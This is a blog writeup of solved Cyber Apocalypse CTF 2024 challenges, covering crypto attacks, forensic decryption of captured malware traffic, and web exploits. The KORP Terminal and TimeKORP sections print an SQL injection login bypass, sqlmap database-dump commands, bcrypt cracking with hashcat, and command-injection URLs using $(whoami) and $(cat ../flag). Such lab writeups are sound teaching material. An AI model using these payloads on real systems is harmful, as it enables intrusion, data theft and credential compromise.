Blog section
CTF

Hacker Royale Writeup - Cyber Apocalypse CTF 2024

A public writeup roundup from Cyber Apocalypse CTF 2024 Hacker Royale, covering solved challenges across web, forensics, crypto, misc, and hardware.

Cyber Apocalypse CTFHTBCTFWebForensicsCrypto

This post preserves my original public notes for Hacker Royale Writeup - Cyber Apocalypse CTF 2024. I kept the challenge-by-challenge structure close to the source Markdown and only cleaned up formatting, image paths, and repeated footer text so it reads cleanly on the website.

Hacker Royale Writeup - Cyber Apocalypse CTF 2024

challenge screenshot

Dive into the gritty details of our Hacker Royale journey in the thrilling Cyber Apocalypse CTF 2024. In this gripping narrative, we unveil our strategic maneuvers and technical prowess that propelled us in the midst of "The Fray," the ultimate battleground of the most astute and ruthless factions, orchestrated by the omnipresent KORP™.

challenge screenshot

About the Event

The Cyber Apocalypse CTF is more than a contest; it's a narrative-rich challenge where factions fight not just for glory, but to question the status quo. Will you stand amongst the Legionaries, or will you dismantle the very fibers of KORP™'s dominion?

Hacker Royale Journey

Our writeup takes you through the high-adrenaline rush of Hacker Royale, where alliances are formed in whispers, and every challenge is a dance with digital death. As the Phreaks' alarm blares, we navigate through the societal gauntlet, elucidating our every step, hack, and tactical decision.

Hacking Content

Our writeup includes a comprehensive breakdown of over 50 challenges, categorized into Web, Crypto, Reversing, Pwn, Forensics, and Hardware. Each solved puzzle is a story of its own, replete with cunning, skill, and sometimes, a stroke of genius.

Conclusion

As the dust settles on the virtual battlegrounds of Hacker Royale, our team at KPMG Thailand emerged with a tale of digital valiance.

Pwned flags: 10

Our rank: 227th. With 10,525 points to our name, we tackled 35 out of 67 challenges, each representing a milestone in our relentless pursuit of cybersecurity excellence. After pwned another flag, bringing our total to 10, I gave one flag to my friend, keeping our count at 9.

challenge screenshot


Blunt

Description

Valuing your life, you evade the other parties as much as you can, forsaking the piles of weaponry and the vantage points in favour of the depths of the jungle. As you jump through the trees and evade the traps lining the forest floor, a glint of metal catches your eye. Cautious, you creep around, careful not to trigger any sensors. Lying there is a knife - damaged and blunt, but a knife nonetheless. You’re not helpless any more.

challenge screenshot

Introduction

The challenge unraveled a cryptic tale involving the Diffie-Hellman key exchange, a ceremony where two entities conjure a shared secret without ever exchanging the secret itself. The sage script provided to participants utilized this arcane ritual to encrypt a message — the FLAG — with AES in CBC mode, leaving behind only the prime p, the generator g, and the magical numbers A and B, along with a ciphertext and an initialization vector (IV).

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import getPrime, long_to_bytes
from hashlib import sha256

from secret import FLAG

import random

p = getPrime(32)
print(f'p = 0x{p:x}')

g = random.randint(1, p-1)
print(f'g = 0x{g:x}')

a = random.randint(1, p-1)
b = random.randint(1, p-1)

A, B = pow(g, a, p), pow(g, b, p)

print(f'A = 0x{A:x}')
print(f'B = 0x{B:x}')

C = pow(A, b, p)
assert C == pow(B, a, p)

# now use it as shared secret
hash = sha256()
hash.update(long_to_bytes(C))

key = hash.digest()[:16]
iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*'
cipher = AES.new(key, AES.MODE_CBC, iv)

encrypted = cipher.encrypt(pad(FLAG, 16))
print(f'ciphertext = {encrypted}')

The output.txt

The output.txt

Algorithm

Baby-Step Giant-Step algorithm, known in discrete logarithms within polynomial time, provided a hope in the mystery of B and discovering the elusive exponent b. (https://github.com/ashutosh1206/Crypton/blob/master/Discrete-Logarithm-Problem/Algo-Baby-Step-Giant-Step/README.md)

challenge screenshot

The Solution

Implementing the Baby-Step Giant-Step algorithm revealed the exponent b, a critical piece in the puzzle. With b in hand, the shared secret C was summoned using the powers of A and b within the prime confines of p. This secret, once a mere whisper in the wind, was then transformed through the alchemy of SHA-256 into a key, unlocking the ancient AES encryption.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
from hashlib import sha256
import math

p = 0xdd6cc28d
g = 0x83e21c05
A = 0xcfabb6dd
B = 0xc4a21ba9
ciphertext = b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{'
iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*'

def baby_step_giant_step(g, B, p):
    n = math.isqrt(p) + 1
    baby_steps = {pow(g, i, p): i for i in range(n)}
    g_inv = pow(g, -n, p)
    
    current = B
    for j in range(n):
        if current in baby_steps:
            return j * n + baby_steps[current]
        current = (current * g_inv) % p
    return None

b = baby_step_giant_step(g, B, p)

if b is not None:

    C = pow(A, b, p)
    
    hash = sha256()
    hash.update(long_to_bytes(C))
    key = hash.digest()[:16]
    
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = unpad(cipher.decrypt(ciphertext), 16)
    
    print(decrypted.decode())
else:
    print("Failed to find b")
  • Imports cryptographic and mathematical libraries: Utilizes Crypto.Cipher for AES encryption, Crypto.Util.Padding for padding related functions, Crypto.Util.number for number conversions, hashlib for SHA-256 hashing, and math for mathematical operations.
  • Initial values setup: Defines the prime p, generator g, public values A and B, the ciphertext, and the initialization vector (IV) used for AES decryption.
  • Baby-Step Giant-Step algorithm: Implements this algorithm to solve for b, the discrete logarithm problem of finding the exponent given g, B, and p. This is necessary because b is not directly provided but is crucial for deriving the shared secret C.
    • Setup a dictionary of baby steps: For integers up to the square root of p, calculate g^i mod p and store in a dictionary.
    • Use the giant step: Calculate inverses of g raised to multiples of the square root of p and check against the baby steps to find b.
  • Calculates the shared secret C: Uses the found value of b to compute the shared secret by calculating A^b mod p.
  • Derives the AES key: Hashes the shared secret C using SHA-256 and takes the first 16 bytes of the hash as the AES key.
  • Decrypts the ciphertext: Uses AES in CBC mode with the derived key and the given IV to decrypt the ciphertext. The result is unpadded to remove padding added during encryption.
  • Outputs the decrypted message: If b is successfully found and the decryption proceeds, prints the decrypted plaintext. If b cannot be found, prints a failure message.

Flag

challenge screenshot


BunnyPass

Description

As you discovered in the PDF, the production factory of the game is revealed. This factory manufactures all the hardware devices and custom silicon chips (of common components) that The Fray uses to create sensors, drones, and various other items for the games. Upon arriving at the factory, you scan the networks and come across a RabbitMQ instance. It appears that default credentials will work.

challenge screenshot

Introduction

This writeup chronicles the journey of exploiting a default-configured RabbitMQ instance encountered within the network of "The Fray's" production factory, revealing a critical vulnerability in their infrastructure.

challenge screenshot

Login

Start by logging into the RabbitMQ dashboard using the default credentials:

Username = admin and Password = admin

challenge screenshot

Dashboard Investigation

Upon entry, the dashboard was meticulously examined, particularly focusing on the administrative section to confirm the 'admin' user's privileges and roles.

challenge screenshot

challenge screenshot

Queue Discovery

The exploration led to the discovery of several queues, among which an 'factory_idle' queue caught attention. This queue was earmarked for further scrutiny.

challenge screenshot

Message Retrieval

A function labeled 'get messages' within the queue's options was identified as a potential weak point. By adjusting the message acknowledgment setting to 'Nack' (Negative Acknowledgment) and repeating the action several times, it was possible to coerce the system into revealing its stored messages.

challenge screenshot

Flag

This methodical exploitation eventually led to the unveiling of the messages hidden within the queue, culminating in the capture of the coveted flag.

HTB{th3_hunt3d_b3c0m3s_th3_hunt3r}

HTB{th3_hunt3d_b3c0m3s_th3_hunt3r}


Data Siege

Description

"It was a tranquil night in the Phreaks headquarters, when the entire district erupted in chaos. Unknown assailants, rumored to be a rogue foreign faction, have infiltrated the city's messaging system and critical infrastructure. Garbled transmissions crackle through the airwaves, spewing misinformation and disrupting communication channels. We need to understand which data has been obtained from this attack to reclaim control of the and communication backbone. Note: flag is splitted in three parts."

challenge screenshot

Introduction

The investigation kicked off by diving into a capture.pcap file through Wireshark. This step was critical for breaking down the network's exported objects and communications.

challenge screenshot

Deciphering Conversations

challenge screenshot

In the web of TCP streams, one conversation stood out due to its encryption methods - a blend of AES and base64. This interaction suggested that hidden messages were waiting to be uncovered.

challenge screenshot

The use of Burp Suite to decode the base64 segments led to an exciting find: readable text revealing the third part of a flag.

challenge screenshot

Exported Objects Analysis

A deeper look into the HTTP exported objects unearthed three significant files.

challenge screenshot

Among these, two instances of "nBISC4YJKs7j4I.xml" pointed towards the "aQ4caZ.exe" file.

challenge screenshot

Decrypting the Code

challenge screenshot

Decompiling the "aQ4caZ.exe" file with dnSpy was the next step, which exposed the encryption key.

challenge screenshot

Further exploration of the code revealed a decryption function with a hard-coded salt value.

challenge screenshot

This discovery paved the way to rewrite the decryption function in Python, using the uncovered key.

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Util.Padding import unpad
import base64

def decrypt(cipher_text, encrypt_key):
    try:
    
        salt = bytes([86, 101, 114, 121, 95, 83, 51, 99, 114, 51, 116, 95, 83])
        
        
        key_iv = PBKDF2(encrypt_key, salt, dkLen=48, count=1000) 
        key = key_iv[:32]
        iv = key_iv[32:48]
        
        
        cipher_data = base64.b64decode(cipher_text)
        
        
        cipher = AES.new(key, AES.MODE_CBC, iv)
        decrypted = unpad(cipher.decrypt(cipher_data), AES.block_size)
        
        return decrypted.decode('utf-8') 
    except Exception as e:
        print(f"Error during decryption: {e}")
        return "error"

encrypt_key = "VYAemVeO3zUDTL6N62kVA"
cipher_text = "zVmhuROwQw02oztmJNCvd2v8wXTNUWmU3zkKDpUBqUON+hKOocQYLG0pOhERLdHDS+yw3KU6RD9Y4LDBjgKeQnjml4XQMYhl6AFyjBOJpA4UEo2fALsqvbU4Doyb/gtg"
print(decrypt(cipher_text, encrypt_key))
  • Import Necessary Modules: It starts by importing the necessary modules from the pycryptodome library, which provides cryptographic operations like AES encryption and decryption, padding mechanisms, and key derivation functions.
  • Define the decrypt function: This function is responsible for decrypting a given piece of cipher text using a specified encryption key.
    • Salt: A predefined salt (salt = bytes([...])) is used, which is essential in the key derivation process to produce a unique key based on the encryption key and salt.
    • Key Derivation: It uses the PBKDF2 (Password-Based Key Derivation Function 2) algorithm to derive a 48-byte key and initialization vector (IV) from the encryption key and salt. The dkLen=48 specifies the desired length of the derived key, and count=1000 specifies the iteration count, affecting the computation time and security level.
    • Key and IV: The first 32 bytes of the derived data are used as the AES key, and the next 16 bytes are used as the IV for the CBC mode.
    • Base64 Decoding: The cipher text, assumed to be base64 encoded, is decoded back into its original binary form before decryption.
    • Decryption: An AES cipher is created using the derived key and IV, and the cipher text is decrypted. The unpad function is then used to remove any padding added to the message during encryption, ensuring the plaintext is restored to its original form.
    • Decoding: The decrypted data is assumed to be UTF-8 encoded and is decoded back into a string.
    • Error Handling: The function includes error handling to catch and report any issues that occur during the decryption process.

Flag

With the decryption function ready, applying it to the previously found encrypted communications was the final hurdle. This effort was rewarded with the discovery of the first and second parts of the flag, piecing together the puzzle.

HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}

HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}


Fake Boost

Description

In the shadow of The Fray, a new test called ""Fake Boost"" whispers promises of free Discord Nitro perks. It's a trap, set in a world where nothing comes without a cost. As factions clash and alliances shift, the truth behind Fake Boost could be the key to survival or downfall. Will your faction see through the deception? KORP™ challenges you to discern reality from illusion in this cunning trial.

I gave this flag to my friend

I gave this flag to my friend

Introduction

After downloading a capture.pcapng file and opening it with Wireshark, the focus was to examine the exported objects within this network communication.

challenge screenshot

This exploration led to the discovery of three distinct files.

challenge screenshot

Discovery of Files

challenge screenshot

freediscordnitro: This file was full of base64 characters, which initially seemed undecodable. Opting to move forward, it was set aside for later examination.

challenge screenshot

rj1893rj1joijdkajwda: Enclosed within this file were characters that appeared to be decode with base 64 and encrypted with AES.

challenge screenshot

rj1893rj1joijdkajwda(1): Merely containing the text "OK," it didn't present anything of immediate interest.

challenge screenshot

Decoding Attempts and Successes

Persisting with the freediscordnitro file, a breakthrough was achieved by reversing the base64 text before attempting to decode it again.

challenge screenshot

challenge screenshot

Utilizing Burp Suite for the decoding process unveiled it as an AES encryption code alongside a Free Discord Nitro 2024 offer, which also included a part of the flag encoded in base64.

challenge screenshot

Decoding this base64 text revealed the first segment of the flag.

challenge screenshot

Unlocking the AES-Encrypted File

Further analysis led to the discovery of the AES key.

challenge screenshot

The next step involved decoding the contents of the rj1893rj1joijdkajwda file from base64, followed by decrypting the text using the AES key.

from Crypto.Cipher import AES
from base64 import b64decode

aes_key_b64 = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
aes_key = b64decode(aes_key_b64)

encrypted_data_b64 = "bEG+rGcRyYKeqlzXb0QVVRvFp5E9vmlSSG3pvDTAGoba05Uxvepwv++0uWe1Mn4LiIInZiNC/ES1tS7Smzmbc99Vcd9h51KgA5Rs1t8T55Er5ic4FloBzQ7tpinw99kC380WRaWcq1Cc8iQ6lZBP/yqJuLsfLTpSY3yIeSwq8Z9tusv5uWvd9E9V0Hh2Bwk5LDMYnywZw64hsH8yuE/u/lMvP4gb+OsHHBPcWXqdb4DliwhWwblDhJB4022UC2eEMI0fcHe1xBzBSNyY8xqpoyaAaRHiTxTZaLkrfhDUgm+c0zOEN8byhOifZhCJqS7tfoTHUL4Vh+1AeBTTUTprtdbmq3YUhX6ADTrEBi5gXQbSI5r1wz3r37A71Z4pHHnAoJTO0urqIChpBihFWfYsdoMmO77vZmdNPDo1Ug2jynZzQ/NkrcoNArBNIfboiBnbmCvFc1xwHFGL4JPdje8s3cM2KP2EDL3799VqJw3lWoFX0oBgkFi+DRKfom20XdECpIzW9idJ0eurxLxeGS4JI3n3jl4fIVDzwvdYr+h6uiBUReApqRe1BasR8enV4aNo+IvsdnhzRih+rpqdtCTWTjlzUXE0YSTknxiRiBfYttRulO6zx4SvJNpZ1qOkS1UW20/2xUO3yy76Wh9JPDCV7OMvIhEHDFh/F/jvR2yt9RTFId+zRt12Bfyjbi8ret7QN07dlpIcppKKI8yNzqB4FA=="
encrypted_data = b64decode(encrypted_data_b64)

ciphertext = encrypted_data[16:]

cipher = AES.new(aes_key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(ciphertext)

try:
    decrypted_text = decrypted_data.decode().rstrip('\x0c\x0b\x0a\x09\x08\x07\x06\x05\x04\x03\x02\x01')
    print(decrypted_text)
except Exception as e:
    print("Error decoding the decrypted data:", e)
  • Import AES Cipher and base64 Decoding: The script begins by importing the necessary components for AES decryption from the Crypto.Cipher module and base64 decoding functionality.
  • Decode AES Key: It decodes the AES key from base64 format to bytes, making it usable for decryption.
  • Decode Encrypted Data: Similarly, the encrypted data is also base64 decoded back into its original binary format.
  • Extract IV and Ciphertext: The initial vector (IV) is assumed to be the first 16 bytes of the encrypted data, with the remainder being the actual ciphertext. This IV is used to ensure that the encryption of similar plaintext blocks results in different ciphertexts.
  • Initialize AES Cipher: An AES cipher object is created with the decoded AES key, set to use CBC (Cipher Block Chaining) mode, and initialized with the extracted IV.
  • Decrypt Data: The ciphertext is decrypted using the initialized cipher, resulting in the original plaintext but potentially with added padding.
  • Decode and Clean Decrypted Data: Attempts to decode the decrypted data into a readable string format. It removes padding manually by stripping specific padding bytes (\x0c, \x0b, \x0a, etc.) from the end of the plaintext. This manual approach to padding removal is not standard and assumes a specific padding pattern that may not apply to all encryption scenarios.
  • Error Handling: If decoding fails (e.g., due to incorrect padding or encoding issues), it catches the exception and prints an error message.

This decryption process unearthed details including an ID, Email, GlobalName, and Token.

challenge screenshot

Flag

Focusing on the EMAIL and decoding it resulted in uncovering the second part of the flag.

HTB{fr33_N17r0G3n_3xp053d!_b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}

_HTB{fr33_N17r0G3n_3xp053d!b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}


Flag Command

Description

Embark on the "Dimensional Escape Quest" where you wake up in a mysterious forest maze that's not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!

challenge screenshot

Introduction

The Flag Command website, at first glance, offers a straightforward user interface. However, a deeper dive into its structure and codebase reveals hidden functionalities that, when exploited, allow bypassing intended game mechanics to directly achieve the objective.

challenge screenshot

Discovery and Analysis

The initial phase involved a meticulous inspection of the website, particularly focusing on the client-side assets. The main.js file, a significant part of the client-side code, hinted at an intriguing endpoint: /api/monitor, and a mysterious mention of "secret" options available through another endpoint, /api/options.

challenge screenshot

Intrigued by the possibility of hidden functionalities, the exploration continued to the /api/options endpoint.

challenge screenshot

Secret Command

Navigating to IP:PORT/api/options, the response was a JSON object containing various parameters and values. Among these was a particularly standout entry labeled "secret". The secret command was revealed to be: "Blip-blop, in a pickle with a hiccup! Shmiggity-shmack".

challenge screenshot

Exploiting the Vulnerability

The next step involved intercepting and manipulating the game's requests.

challenge screenshot

By injecting the discovered secret command as an input, the expectation was that the application would behave in a manner not anticipated by its regular game flow.

Flag

HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk}

HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk}


It Has Begun

Description

The Fray is upon us, and the very first challenge has been released! Are you ready factions!? Considering this is just the beginning, if you cannot musted the teamwork needed this early, then your doom is likely inevitable.

challenge screenshot

Introduction

We began by analyzing a shell script associated with "KORP-STATION-013." This script was designed to terminate certain processes and set up a connection for future use, indicating the start of covert operations.

challenge screenshot

Discovery

An interesting part of the script was an echo command that added an SSH key to a file. This key contained a string that seemed out of place. By reversing this string, we found the first part of a hidden message within the SSH key.

challenge screenshot

Deep Dive

Further inspection of the script revealed an encoded message intended for the crontab, a scheduler in Unix systems.

challenge screenshot

Decoding this base64-encoded string gave us the second piece of the puzzle, revealing the final part of the message.

Flag

HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}

HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}


KORP Terminal

Description

Your faction must infiltrate the KORP™ terminal and gain access to the Legionaries' privileged information and find out more about the organizers of the Fray. The terminal login screen is protected by state-of-the-art encryption and security protocols.

challenge screenshot

Introduction

This write-up documents a profound security analysis of a web application that exhibited a classic SQL Injection vulnerability.

challenge screenshot

Discovery of the Vulnerability

The initial suspicion of a SQLi vulnerability arose when inputting crafted strings into the login form:

Username = ad'||'min'-- and Password = 1

challenge screenshot

This input effectively bypassed the authentication process, indicating that the application improperly sanitizes user input, making it susceptible to SQL Injection.

challenge screenshot

Exploitation and Analysis

To further exploit this vulnerability, we utilized sqlmap, a powerful tool for automating the detection and exploitation of SQL Injection flaws. The command executed was as follows:

sqlmap -u URL --method=POST --data="username=admin&password=admin" --banner --dbms=mysql --level=5 --risk=3 --ignore-code=401

SQLi vulnerability

SQLi vulnerability

Database Enumeration

With the vulnerability confirmed, the next step involved enumerating the databases accessible through the injection point:

sqlmap -u URL --method=POST --data="username=admin&password=admin" --banner --dbms=mysql --level=5 --risk=3 --ignore-code=401 --dbs --batch

korp_terminal Database

korp_terminal Database

Table Enumeration

To delve deeper into the korp_terminal database, we enumerated its tables:

sqlmap -u URL --method=POST --data="username=admin&password=admin" --banner --dbms=mysql --level=5 --risk=3 --ignore-code=401 -D korp_terminal --tables --batch

users table

users table

Data Extraction

Focusing on the users table, we extracted its contents:

sqlmap -u URL --method=POST --data="username=admin&password=admin" --banner --dbms=mysql --level=5 --risk=3 --ignore-code=401 -D korp_terminal -T users --dump --batch

challenge screenshot

Password Cracking

With the hashed passwords extracted, the final step involved cracking these hashes to reveal plaintext passwords. For this, hashcat was employed:

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
  • -m 3200 (bcrypt $2*$, Blowfish (Unix))
  • /usr/share/wordlists/rockyou.txt (wordlist)

password123

password123

I proceeded to log in to the web application using the credentials obtained:

Username = admin and Password = password123

This action granted me unauthorized access to the admin panel, where I was able to retrieve the coveted flag, marking the culmination of a successful exploitation process.

Flag

HTB{t3rm1n4l_cr4ck1ng_sh3n4nig4n5}

HTB{t3rm1n4l_cr4ck1ng_sh3n4nig4n5}


Primary Knowledge

Description

Surrounded by an untamed forest and the serene waters of the Primus river, your sole objective is surviving for 24 hours. Yet, survival is far from guaranteed as the area is full of Rattlesnakes, Spiders and Alligators and the weather fluctuates unpredictably, shifting from scorching heat to torrential downpours with each passing hour. Threat is compounded by the existence of a virtual circle which shrinks every minute that passes. Anything caught beyond its bounds, is consumed by flames, leaving only ashes in its wake. As the time sleeps away, you need to prioritise your actions secure your surviving tools. Every decision becomes a matter of life and death. Will you focus on securing a shelter to sleep, protect yourself against the dangers of the wilderness, or seek out means of navigating the Primus’ waters?

challenge screenshot

Introduction

The script, elegant in its simplicity, was designed to encrypt a message — the FLAG — using the RSA encryption algorithm. The cornerstone of RSA is the product of two prime numbers to form n, a crucial part of the public key. However, this script deviated from the established path.

import math
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG

m = bytes_to_long(FLAG)

n = math.prod([getPrime(1024) for _ in range(2**0)])
e = 0x10001
c = pow(m, e, n)

with open('output.txt', 'w') as f:
    f.write(f'{n = }\n')
    f.write(f'{e = }\n')
    f.write(f'{c = }\n')

This is a output.txt

This is a output.txt

The Revelation

Thanks P'North at KPMG Thailand for give me a hints, a helpful on Stack Exchange(https://math.stackexchange.com/questions/1077411/textbook-rsa-game-with-one-prime)

It became clear that the encryption used only one prime instead of two. This was not the unassailable RSA known to many but a variant weaker by design or mistake. With only one prime to contend with, the decryption became a matter not of factoring but of taking roots.

challenge screenshot

The Decryption

The script to decrypt was simple: calculate the e root of c modulo n. Since n was prime, the modulo operation was straightforward, and the root revealed itself as the clear text of the flag.

import sympy

e = 0x10001
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215
n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347

phi_n = n - 1
d = sympy.mod_inverse(e, phi_n)

m = pow(c, d, n)

flag = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')

print(flag.decode())
  • Importing sympy: The code starts by importing the sympy library, which provides tools for symbolic mathematics in Python, including functions relevant to number theory.
  • Given values: The encryption exponent e, the ciphertext c, and the modulus n are provided. These are typically part of the public key in RSA, with n being the product of two primes (which should be the case but isn't here due to a mistake).
  • Calculation of d: The script calculates the private exponent d by finding the modular multiplicative inverse of e modulo phi(n), where phi(n) is the Euler's totient of n. Since the n in the script is prime, phi(n) is simply n - 1.
  • Decryption of the message: The script then decrypts the ciphertext c by raising it to the power of d modulo n, which is the standard decryption process in RSA.
  • Conversion to bytes: The decrypted message m is then converted from a number to a sequence of bytes, which is supposed to be the original plaintext message.
  • Decoding and printing: Finally, the byte sequence is decoded from its byte representation into a human-readable string, which is printed out. This decoded string is expected to be the flag that was encrypted.

Flag

challenge screenshot


Stop Drop and Roll

Description

The Fray: The Video Game is one of the greatest hits of the last... well, we don't remember quite how long. Our "computers" these days can't run much more than that, and it has a tendency to get repetitive...

challenge screenshot

Introduction

In the realm of cyber competitions, challenges often simulate realistic scenarios requiring quick thinking and automation skills. "THE FRAY: THE VIDEO GAME" challenge was an exemplary test of such skills, where participants had to interact with a remote service to prove their mettle. The game provided scenarios requiring precise responses to conquer the virtual "GAUNTLET".

Challenge Breakdown

Upon connecting to the service via netcat, the game described three distinct scenarios — GORGE, PHREAK, or FIRE. Each scenario necessitated a specific response:

  • GORGE required the participant to respond with STOP.
  • PHREAK necessitated a ROLL response.
  • FIRE called for the DROP response.

The twist came with combined scenarios, where multiple commands had to be sent back in sequence.

challenge screenshot

Solution Strategy

To tackle this challenge efficiently, manual interaction was not practical. Thus, a Python script was developed to automate the communication with the service. The script's algorithm was straightforward but effective:

  • Connect to the remote service using the socket library.
  • Listen for the challenge's prompt.
  • Parse the received message and determine the appropriate response based on the rules.
  • Send the response back to the server.
  • Repeat the process until the server sent the flag, signaling the challenge's completion.
import socket
import re

def main():
    host = "83.136.254.16"
    port = 30311

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        s.settimeout(2)  

        def send_message(message):
            print(f"Sending: {message}")
            s.sendall(message.encode() + b"\n")
        
        def receive_until_prompt(prompt="Are you ready? (y/n)"):
            received_data = ""
            while True:
                try:
                    data = s.recv(1024).decode()
                    if not data:
                        break
                    received_data += data
                    if "HTB{" in received_data:
                        print("Flag detected, stopping:", received_data)
                        return "STOP"
                    if prompt in received_data:
                        break
                except socket.timeout:
                    break
            print("Received:", received_data)
            return received_data

        receive_until_prompt()

        send_message("y")

        while True:
            game_data = receive_until_prompt("What do you do?")
            if game_data == "STOP":
                print("Flag found, exiting...")
                break
            if "What do you do?" in game_data:
                scenarios = re.findall(r'(GORGE|PHREAK|FIRE)', game_data)
                responses = {'GORGE': 'STOP', 'PHREAK': 'DROP', 'FIRE': 'ROLL'}
                response = '-'.join([responses[scenario] for scenario in scenarios])
                send_message(response)

if __name__ == "__main__":
    main()

Flag

Through the use of Python for automation, the responses were sent accurately and swiftly, satisfying the conditions set forth by the game.

HTB{1_wiLl_sT0p_dR0p_4nD_r0Ll_mY_w4Y_oUt!}

HTB{1_wiLl_sT0p_dR0p_4nD_r0Ll_mY_w4Y_oUt!}


TimeKORP

Description

Are you ready to unravel the mysteries and expose the truth hidden within KROP's digital domain? Join the challenge and prove your prowess in the world of cybersecurity. Remember, time is money, but in this case, the rewards may be far greater than you imagine.

challenge screenshot

Introduction

In this exploration, we delve into a security analysis of the TimeKORP website.

challenge screenshot

Discovery of the Vulnerability

The investigation began with a thorough exploration of the website's functionalities. A peculiar parameter, format, caught our attention, hinting at the server's processing of date formats. Initial attempts to manipulate this parameter were unfruitful until a breakthrough was achieved with the following request:

http://IP:PORT/?format=%Y-%m-%d%27$(whoami)%27

This request, surprisingly, returned the current user of the web server, indicating a severe command injection vulnerability. This type of vulnerability allows an attacker to execute arbitrary commands on the server, which can lead to unauthorized access to sensitive data, system compromise, and more.

challenge screenshot

Exploiting the Vulnerability

Leveraging this vulnerability, we aimed to escalate our exploration to access sensitive data stored on the server. The next logical step was to identify and retrieve the so-called "flag," a common objective in cybersecurity challenges representing sensitive or secret information.

challenge screenshot

Given our ability to inject commands, we crafted the following request to attempt to read the contents of a file suspected to contain the flag:

http://IP:PORT/?format=%Y-%m-%d%27$(cat ../flag)%27

Flag

HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}

HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}